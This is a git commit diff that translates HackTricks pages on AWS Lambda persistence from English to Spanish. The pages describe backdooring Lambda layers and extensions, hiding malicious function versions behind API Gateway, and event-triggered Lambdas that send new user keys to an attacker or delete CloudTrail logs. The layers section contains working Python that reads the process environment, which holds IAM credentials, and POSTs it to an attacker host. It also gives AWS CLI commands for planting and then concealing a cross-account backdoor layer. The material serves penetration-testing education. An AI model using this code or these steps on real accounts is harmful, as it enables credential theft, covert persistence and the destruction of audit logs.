Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:10:24 +00:00
parent 192d97f7b7
commit 536671c61c
245 changed files with 10169 additions and 12893 deletions
@@ -1,68 +1,64 @@
# AWS - Lambda Persistence
# AWS - Persistencia de Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
For more information check:
Para más información, consulta:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Lambda Layer Persistence
### Persistencia de Lambda Layer
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
Es posible **introducir/backdoor una capa para ejecutar código arbitrario** cuando la lambda se ejecuta de manera sigilosa:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
### Lambda Extension Persistence
### Persistencia de Extensiones de Lambda
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
Abusando de las Lambda Layers, también es posible abusar de las extensiones y persistir en la lambda, pero también robar y modificar solicitudes.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
### Via resource policies
### A través de políticas de recursos
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
Es posible otorgar acceso a diferentes acciones de lambda (como invocar o actualizar código) a cuentas externas:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Aliases & Weights
### Versiones, Alias y Pesos
A Lambda can have **different versions** (with different code each version).\
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
Una Lambda puede tener **diferentes versiones** (con código diferente en cada versión).\
Luego, puedes crear **diferentes alias con diferentes versiones** de la lambda y establecer diferentes pesos para cada uno.\
De esta manera, un atacante podría crear una **versión 1 con backdoor** y una **versión 2 con solo el código legítimo** y **ejecutar solo la versión 1 en el 1%** de las solicitudes para permanecer sigiloso.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
### Backdoor de Versión + API Gateway
1. Copy the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
1. Copia el código original de la Lambda
2. **Crea una nueva versión backdooring** el código original (o solo con código malicioso). Publica y **despliega esa versión** a $LATEST
1. Llama al API gateway relacionado con la lambda para ejecutar el código
3. **Crea una nueva versión con el código original**, publica y despliega esa **versión** a $LATEST.
1. Esto ocultará el código con backdoor en una versión anterior
4. Ve al API Gateway y **crea un nuevo método POST** (o elige cualquier otro método) que ejecutará la versión con backdoor de la lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Nota el final :1 del arn **indicando la versión de la funcn** (la versión 1 será la con backdoor en este escenario).
5. Selecciona el método POST creado y en Acciones selecciona **`Deploy API`**
6. Ahora, cuando **llames a la funcn vía POST, tu Backdoor** será invocado
### Cron/Event actuator
### Actuador Cron/Event
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
El hecho de que puedes hacer que **las funciones lambda se ejecuten cuando algo sucede o cuando pasa un tiempo** hace que lambda sea una forma agradable y común de obtener persistencia y evitar detección.\
Aquí tienes algunas ideas para hacer tu **presencia en AWS más sigilosa creando lambdas**.
- Every time a new user is created lambda generates a new user key and send it to the attacker.
- Every time a new role is created lambda gives assume role permissions to compromised users.
- Every time new cloudtrail logs are generated, delete/alter them
- Cada vez que se crea un nuevo usuario, lambda genera una nueva clave de usuario y se la envía al atacante.
- Cada vez que se crea un nuevo rol, lambda otorga permisos de asumir rol a usuarios comprometidos.
- Cada vez que se generan nuevos registros de cloudtrail, elimínalos/modifícalos.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,46 +1,42 @@
# AWS - Abusing Lambda Extensions
# AWS - Abusando de las Extensiones de Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda Extensions
## Extensiones de Lambda
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
Las extensiones de Lambda mejoran las funciones al integrarse con varias **herramientas de monitoreo, observabilidad, seguridad y gobernanza**. Estas extensiones, añadidas a través de [.zip archives usando capas de Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluidas en [despliegues de imágenes de contenedor](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operan en dos modos: **interno** y **externo**.
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
- **Las extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de entornos de ejecución, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**.
- **Las extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios entornos de ejecución como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **entornos de ejecución personalizados**.
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
Para más información sobre [**cómo funcionan las extensiones de lambda, consulta la documentación**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
### External Extension for Persistence, Stealing Requests & modifying Requests
### Extensión Externa para Persistencia, Robo de Solicitudes y Modificación de Solicitudes
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
Este es un resumen de la técnica propuesta en esta publicación: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapids heap memory, by design.**
Se encontró que el kernel de Linux predeterminado en el entorno de ejecución de Lambda está compilado con llamadas al sistema “**process_vm_readv**” y “**process_vm_writev**”. Y todos los procesos se ejecutan con el mismo ID de usuario, incluso el nuevo proceso creado para la extensión externa. **Esto significa que una extensión externa tiene acceso completo de lectura y escritura a la memoria heap de Rapid, por diseño.**
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
Además, aunque las extensiones de Lambda tienen la capacidad de **suscribirse a eventos de invocación**, AWS no revela los datos en bruto a estas extensiones. Esto asegura que **las extensiones no pueden acceder a información sensible** transmitida a través de la solicitud HTTP.
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
El proceso Init (Rapid) monitorea todas las solicitudes de API en [http://127.0.0.1:9001](http://127.0.0.1:9001/) mientras las extensiones de Lambda se inicializan y se ejecutan antes de la ejecución de cualquier código de tiempo de ejecución, pero después de Rapid.
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
La variable **`AWS_LAMBDA_RUNTIME_API`** indica la **IP** y el **número de puerto** de la API de Rapid a **los procesos de tiempo de ejecución hijo** y extensiones adicionales.
> [!WARNING]
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
> Al cambiar la variable de entorno **`AWS_LAMBDA_RUNTIME_API`** a un **`puerto`** al que tengamos acceso, es posible interceptar todas las acciones dentro del tiempo de ejecución de Lambda (**man-in-the-middle**). Esto es posible porque la extensión se ejecuta con los mismos privilegios que Rapid Init, y el kernel del sistema permite la **modificación de la memoria del proceso**, lo que permite la alteración del número de puerto.
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
Debido a que **las extensiones se ejecutan antes de cualquier código de tiempo de ejecución**, modificar la variable de entorno influirá en el proceso de tiempo de ejecución (por ejemplo, Python, Java, Node, Ruby) a medida que se inicia. Además, **las extensiones cargadas después** de la nuestra, que dependen de esta variable, también se enrutarán a través de nuestra extensión. Esta configuración podría permitir que el malware eluda completamente las medidas de seguridad o las extensiones de registro directamente dentro del entorno de tiempo de ejecución.
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
La herramienta [**lambda-spy**](https://github.com/clearvector/lambda-spy) fue creada para realizar esa **escritura de memoria** y **robar información sensible** de las solicitudes de lambda, otras **solicitudes de extensiones** e incluso **modificarlas**.
## References
## Referencias
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,82 +1,75 @@
# AWS - Lambda Layers Persistence
# AWS - Persistencia de Capas de Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda Layers
## Capas de Lambda
A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
Una capa de Lambda es un archivo .zip que **puede contener código adicional** u otro contenido. Una capa puede contener bibliotecas, un [runtime personalizado](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), datos o archivos de configuración.
It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
Es posible incluir hasta **cinco capas por funcn**. Cuando incluyes una capa en una función, **el contenido se extrae en el directorio `/opt`** en el entorno de ejecución.
By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
Por **defecto**, las **capas** que creas son **privadas** para tu cuenta de AWS. Puedes optar por **compartir** una capa con otras cuentas o **hacer** que la capa sea **pública**. Si tus funciones consumen una capa que publicó otra cuenta, tus funciones pueden **seguir utilizando la versión de la capa después de que haya sido eliminada, o después de que se revoque tu permiso para acceder a la capa**. Sin embargo, no puedes crear una nueva función ni actualizar funciones utilizando una versión de capa eliminada.
Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
Las funciones desplegadas como una imagen de contenedor no utilizan capas. En su lugar, empaquetas tu runtime preferido, bibliotecas y otras dependencias en la imagen del contenedor cuando construyes la imagen.
### Python load path
The load path that Python will use in lambda is the following:
### Ruta de carga de Python
La ruta de carga que Python utilizará en lambda es la siguiente:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
Verifica cómo las **segundas** y **terceras** **posiciones** son ocupadas por directorios donde **lambda layers** descomprimen sus archivos: **`/opt/python/lib/python3.9/site-packages`** y **`/opt/python`**
> [!CAUTION]
> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
> Si un atacante logra **backdoor** una **layer** de lambda utilizada o **agregar una** que estará **ejecutando código arbitrario cuando se cargue una biblioteca común**, podrá ejecutar código malicioso con cada invocación de lambda.
Therefore, the requisites are:
Por lo tanto, los requisitos son:
- **Check libraries** that are **loaded** by the victims code
- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
- **Verificar bibliotecas** que son **cargadas** por el código de las víctimas
- Crear una **biblioteca proxy con lambda layers** que **ejecutará código personalizado** y **cargará la biblioteca original**.
### Preloaded libraries
### Bibliotecas pre-cargadas
> [!WARNING]
> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
> Al abusar de esta técnica encontré una dificultad: Algunas bibliotecas ya están **cargadas** en el tiempo de ejecución de python cuando se ejecuta tu código. Esperaba encontrar cosas como `os` o `sys`, pero **incluso la biblioteca `json` estaba cargada**.\
> Para abusar de esta técnica de persistencia, el código necesita **cargar una nueva biblioteca que no esté cargada** cuando se ejecuta el código.
Con un código en python como este es posible obtener la **lista de bibliotecas que están pre-cargadas** dentro del tiempo de ejecución de python en lambda:
```python
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
```
And this is the **list** (check that libraries like `os` or `json` are already there)
Y esta es la **lista** (verifica que bibliotecas como `os` o `json` ya estén allí)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
Y esta es la lista de **bibliotecas** que **lambda incluye instaladas por defecto**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
### Inyección en la Capa de Lambda
### Lambda Layer Backdooring
En este ejemplo supongamos que el código objetivo está importando **`csv`**. Vamos a **inyectar el import de la biblioteca `csv`**.
In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
Para hacer eso, vamos a **crear el directorio csv** con el archivo **`__init__.py`** en él en una ruta que es cargada por lambda: **`/opt/python/lib/python3.9/site-packages`**\
Luego, cuando la lambda se ejecute e intente cargar **csv**, nuestro **archivo `__init__.py` será cargado y ejecutado**.\
Este archivo debe:
For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
This file must:
- Execute our payload
- Load the original csv library
We can do both with:
- Ejecutar nuestra carga útil
- Cargar la biblioteca csv original
Podemos hacer ambas cosas con:
```python
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
@@ -90,29 +83,27 @@ import csv as _csv
sys.modules["csv"] = _csv
```
Luego, crea un zip con este código en la ruta **`python/lib/python3.9/site-packages/__init__.py`** y agrégalo como una capa lambda.
Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
Puedes encontrar este código en [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
El payload integrado **enviará las credenciales de IAM a un servidor LA PRIMERA VEZ que se invoque o DESPUÉS de un reinicio del contenedor lambda** (cambio de código o lambda fría), pero **otras técnicas** como las siguientes también podrían integrarse:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
### External Layers
### Capas Externas
Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
Also note that the **max number of layers a lambda can have is 5**.
Ten en cuenta que es posible usar **capas lambda de cuentas externas**. Además, una lambda puede usar una capa de una cuenta externa incluso si no tiene permisos.\
También ten en cuenta que el **número máximo de capas que una lambda puede tener es 5**.
Therefore, in order to improve the versatility of this technique an attacker could:
- Backdoor an existing layer of the user (nothing is external)
- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
- The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
- The victim **won't see external layers** used with **`aws lambda list-layers`**
Por lo tanto, para mejorar la versatilidad de esta técnica, un atacante podría:
- Inyectar un backdoor en una capa existente del usuario (nada es externo)
- **Crear** una **capa** en **su cuenta**, dar acceso a la **cuenta de la víctima** para usar la capa, **configurar** la **capa** en la Lambda de la víctima y **eliminar el permiso**.
- La **Lambda** aún podrá **usar la capa** y la **víctima no** tendrá ninguna forma fácil de **descargar el código de las capas** (aparte de obtener un rev shell dentro de la lambda)
- La víctima **no verá capas externas** utilizadas con **`aws lambda list-layers`**
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
{{#include ../../../../banners/hacktricks-training.md}}